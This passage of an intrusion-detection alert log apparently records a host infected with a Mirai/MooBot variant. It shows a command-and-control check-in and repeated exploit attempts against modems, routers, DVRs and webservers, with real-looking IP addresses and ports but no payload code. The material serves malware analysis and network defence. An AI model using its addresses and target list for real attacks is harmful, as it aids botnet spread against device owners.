Source Port:	47596
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.4.73.58

Timestamp:	03/21/24-05:26:55.419578
SID:	2023548
Source Port:	57848
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 164.90.233.195

Timestamp:	03/21/24-05:25:52.510973
SID:	2030092
Source Port:	56362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.66.136.67

Timestamp:	03/21/24-05:25:53.195319
SID:	2018132
Source Port:	45688
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:09.733900
SID:	2030490
Source Port:	46054
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:27:00.361602
SID:	2030490
Source Port:	48178
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 119.202.137.200

Timestamp:	03/21/24-05:26:58.253144
SID:	2023548
Source Port:	59054
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 66.242.144.69

Timestamp:	03/21/24-05:26:09.578404
SID:	2018132
Source Port:	56108
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 223.133.107.197

Timestamp:	03/21/24-05:25:59.303662
SID:	2023548
Source Port:	45658
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.223.69

Timestamp:	03/21/24-05:26:45.801611
SID:	2026102
Source Port:	48108
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 197.203.51.120

Timestamp:	03/21/24-05:26:14.438666
SID:	2023548
Source Port:	39210
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.232.108.216

Timestamp:	03/21/24-05:26:35.849684
SID:	2030092
Source Port:	40380
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 177.106.151.127

Timestamp:	03/21/24-05:26:54.932604
SID:	2023548
Source Port:	60372
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 139.162.84.202

Timestamp:	03/21/24-05:26:20.987862
SID:	2018132
Source Port:	56610
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.84.121.160

Timestamp:	03/21/24-05:26:12.100632
SID:	2030092
Source Port:	58592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.21.247

Timestamp:	03/21/24-05:25:48.204553
SID:	2027153
Source Port:	58818
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 50.48.213.123

Timestamp:	03/21/24-05:27:12.456625
SID:	2023548
Source Port:	33054
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.160.132

Timestamp:	03/21/24-05:25:59.718271
SID:	2018132
Source Port:	54294
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.75.255

Timestamp:	03/21/24-05:26:16.106975
SID:	2018132
Source Port:	59822
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 23.202.52.135

Timestamp:	03/21/24-05:26:51.585956
SID:	2831299
Source Port:	36102
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.244.87

Timestamp:	03/21/24-05:26:08.571232
SID:	2018132
Source Port:	37026
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 23.202.52.135

Timestamp:	03/21/24-05:26:51.585956
SID:	2049119
Source Port:	36102
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:27:05.503379
SID:	2030490
Source Port:	48732
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 35.174.120.235

Timestamp:	03/21/24-05:26:18.322398
SID:	2049119
Source Port:	33784
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.24.19.138

Timestamp:	03/21/24-05:27:06.888800
SID:	2831299
Source Port:	57828
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.74.110

Timestamp:	03/21/24-05:26:23.804238
SID:	2018132
Source Port:	60764
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.244.87

Timestamp:	03/21/24-05:26:07.495646
SID:	2018132
Source Port:	36994
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.115.19

Timestamp:	03/21/24-05:26:34.984030
SID:	2018132
Source Port:	44246
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.102.39.67

Timestamp:	03/21/24-05:25:30.130629
SID:	2030092
Source Port:	56846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.23.24.185

Timestamp:	03/21/24-05:25:44.993964
SID:	2030092
Source Port:	33008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 137.184.158.188

Timestamp:	03/21/24-05:25:52.431289
SID:	2025883
Source Port:	37936
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 72.107.204.77

Timestamp:	03/21/24-05:26:12.143543
SID:	2023548
Source Port:	45220
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 212.179.180.9

Timestamp:	03/21/24-05:27:06.960289
SID:	2049119
Source Port:	50872
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.140.157

Timestamp:	03/21/24-05:26:13.174507
SID:	2027153
Source Port:	33340
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.64.32.158

Timestamp:	03/21/24-05:26:48.561655
SID:	2018132
Source Port:	49198
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.66.195.244

Timestamp:	03/21/24-05:26:36.207699
SID:	2018132
Source Port:	47686
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 81.157.31.24

Timestamp:	03/21/24-05:26:02.551305
SID:	2023548
Source Port:	35852
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.121.99

Timestamp:	03/21/24-05:26:30.630525
SID:	2018132
Source Port:	34514
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 195.85.255.250

Timestamp:	03/21/24-05:26:36.307142
SID:	2025883
Source Port:	43402
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.198.155

Timestamp:	03/21/24-05:26:41.579838
SID:	2018132
Source Port:	51216
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.0.248.5

Timestamp:	03/21/24-05:26:44.138553
SID:	2030092
Source Port:	57514
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.83.203

Timestamp:	03/21/24-05:26:31.365125
SID:	2026102
Source Port:	50622
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.64.175.176

Timestamp:	03/21/24-05:25:41.480974
SID:	2030092
Source Port:	59660
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 81.151.14.142

Timestamp:	03/21/24-05:26:14.411122
SID:	2023548
Source Port:	35780
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 159.235.96.182

Timestamp:	03/21/24-05:26:15.438079
SID:	2831299
Source Port:	46652
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 40.84.132.201

Timestamp:	03/21/24-05:26:34.900891
SID:	2030092
Source Port:	58050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:44.603536
SID:	2030490
Source Port:	47718
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.66.236.242

Timestamp:	03/21/24-05:25:41.451703
SID:	2025883
Source Port:	59048
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.43.115.25

Timestamp:	03/21/24-05:27:07.390094
SID:	2831299
Source Port:	39500
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.62.9

Timestamp:	03/21/24-05:26:18.663520
SID:	2027153
Source Port:	37890
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.179.180.9

Timestamp:	03/21/24-05:27:06.960289
SID:	2831299
Source Port:	50872
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.87.224

Timestamp:	03/21/24-05:25:55.399044
SID:	2018132
Source Port:	55006
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.7.23.153

Timestamp:	03/21/24-05:26:10.751815
SID:	2030092
Source Port:	60010
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 212.220.85.79

Timestamp:	03/21/24-05:27:09.751271
SID:	2049119
Source Port:	41492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.85.255.250

Timestamp:	03/21/24-05:26:36.307142
SID:	2030092
Source Port:	43402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 89.213.40.119

Timestamp:	03/21/24-05:25:41.558869
SID:	2025883
Source Port:	54120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 77.25.132.174

Timestamp:	03/21/24-05:26:00.166711
SID:	2023548
Source Port:	43988
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.243.233

Timestamp:	03/21/24-05:26:18.568331
SID:	2018132
Source Port:	52988
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 179.52.84.164

Timestamp:	03/21/24-05:27:11.485393
SID:	2023548
Source Port:	54612
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 188.120.197.16

Timestamp:	03/21/24-05:26:15.293052
SID:	2018132
Source Port:	34744
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:20.754962
SID:	2030490
Source Port:	45156
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 86.150.122.60

Timestamp:	03/21/24-05:26:20.875687
SID:	2023548
Source Port:	49002
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:12.420573
SID:	2030490
Source Port:	46456
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.102.206

Timestamp:	03/21/24-05:26:16.370263
SID:	2018132
Source Port:	60692
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 121.133.255.176

Timestamp:	03/21/24-05:26:22.284278
SID:	2023548
Source Port:	53790
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.12.25.31

Timestamp:	03/21/24-05:27:06.734022
SID:	2831299
Source Port:	32930
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 175.233.25.38

Timestamp:	03/21/24-05:26:33.790026
SID:	2027153
Source Port:	56020
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 14.90.173.204

Timestamp:	03/21/24-05:26:04.618639
SID:	2023548
Source Port:	33134
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 119.202.169.45

Timestamp:	03/21/24-05:26:07.423580
SID:	2023548
Source Port:	40046
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.102.39.67

Timestamp:	03/21/24-05:25:30.130629
SID:	2025883
Source Port:	56846
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 74.73.120.108

Timestamp:	03/21/24-05:26:30.489202
SID:	2023548
Source Port:	56778
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 110.66.27.9

Timestamp:	03/21/24-05:25:59.601520
SID:	2023548
Source Port:	39210
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.30.84

Timestamp:	03/21/24-05:25:59.628821
SID:	2018132
Source Port:	40162
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 69.164.56.22

Timestamp:	03/21/24-05:26:55.614580
SID:	2025883
Source Port:	37282
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.146.84.90

Timestamp:	03/21/24-05:26:37.400500
SID:	2025883
Source Port:	35048
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 51.89.133.14

Timestamp:	03/21/24-05:27:02.312604
SID:	2835221
Source Port:	42752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.160.132

Timestamp:	03/21/24-05:25:59.718271
SID:	2026102
Source Port:	54294
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 139.162.84.202

Timestamp:	03/21/24-05:26:20.987862
SID:	2026102
Source Port:	56610
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 34.43.23.196

Timestamp:	03/21/24-05:26:11.345406
SID:	2023548
Source Port:	35164
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 119.195.203.79

Timestamp:	03/21/24-05:27:14.066363
SID:	2023548
Source Port:	48778
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 94.187.117.182

Timestamp:	03/21/24-05:27:13.705817
SID:	2023548
Source Port:	46966
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 45.76.25.172

Timestamp:	03/21/24-05:26:12.168689
SID:	2831299
Source Port:	59494
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 204.108.11.150

Timestamp:	03/21/24-05:26:55.581749
SID:	2030092
Source Port:	36360
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.40.27

Timestamp:	03/21/24-05:26:59.269798
SID:	2026102
Source Port:	54518
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 139.162.84.202

Timestamp:	03/21/24-05:26:20.987862
SID:	2027153
Source Port:	56610
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.37.157.65

Timestamp:	03/21/24-05:25:30.571767
SID:	2030092
Source Port:	36358
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.26.42

Timestamp:	03/21/24-05:25:54.424189
SID:	2026102
Source Port:	53498
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 97.120.114.191

Timestamp:	03/21/24-05:26:23.343950
SID:	2023548
Source Port:	33830
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 159.235.96.182

Timestamp:	03/21/24-05:26:15.438079
SID:	2049119
Source Port:	46652
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.7.23.153

Timestamp:	03/21/24-05:26:10.751815
SID:	2025883
Source Port:	60010
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 45.76.25.172

Timestamp:	03/21/24-05:26:12.168689
SID:	2049119
Source Port:	59494
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 183.123.13.78

Timestamp:	03/21/24-05:26:57.980167
SID:	2023548
Source Port:	53688
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:21.733967
SID:	2030490
Source Port:	46808
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 212.24.19.138

Timestamp:	03/21/24-05:27:06.888800
SID:	2049119
Source Port:	57828
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 4.208.97.243

Timestamp:	03/21/24-05:26:48.624199
SID:	2025883
Source Port:	56126
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:41.877975
SID:	2030490
Source Port:	45452
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.112.67

Timestamp:	03/21/24-05:26:16.107377
SID:	2018132
Source Port:	42040
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 153.121.72.178

Timestamp:	03/21/24-05:25:38.420020
SID:	2025883
Source Port:	36470
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:47.306131
SID:	2030490
Source Port:	47742
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:45.961783
SID:	2030490
Source Port:	47736
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.146.84.90

Timestamp:	03/21/24-05:26:37.400500
SID:	2030092
Source Port:	35048
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.43.115.25

Timestamp:	03/21/24-05:27:07.390094
SID:	2835221
Source Port:	39500
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 207.188.224.215

Timestamp:	03/21/24-05:26:01.876080
SID:	2030092
Source Port:	57624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.140.157

Timestamp:	03/21/24-05:26:13.174507
SID:	2018132
Source Port:	33340
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 104.17.130.5

Timestamp:	03/21/24-05:26:13.877054
SID:	2018132
Source Port:	34694
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:25.427244
SID:	2030490
Source Port:	46880
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 121.254.156.199

Timestamp:	03/21/24-05:25:58.477997
SID:	2025883
Source Port:	55826
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:59.026002
SID:	2030490
Source Port:	45766
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 187.202.234.215

Timestamp:	03/21/24-05:26:56.398389
SID:	2023548
Source Port:	51494
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

